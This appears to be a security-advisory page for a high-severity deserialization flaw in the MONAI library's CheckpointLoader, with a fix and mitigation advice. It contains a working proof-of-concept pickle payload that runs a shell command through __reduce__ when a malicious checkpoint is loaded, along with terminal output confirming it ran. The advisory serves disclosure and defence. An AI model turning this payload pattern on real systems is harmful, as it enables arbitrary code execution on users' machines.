MONAI: Unsafe torch usage may lead to arbitrary code executionGHSA-6vm5-6jv9-rjpj
HIGHFix: Project-MONAI/MONAI#8566GHSA-6vm5-6jv9-rjpj is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6vm5-6jv9-rjpj.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6vm5-6jv9-rjpj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,492 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.5.1pip install --upgrade 'monai==1.5.1' |
Affected Products
medical open network for aimonaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6vm5-6jv9-rjpj is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is GHSA-6vm5-6jv9-rjpj in your dependencies?
Find it across PyPI, including transitive dependencies.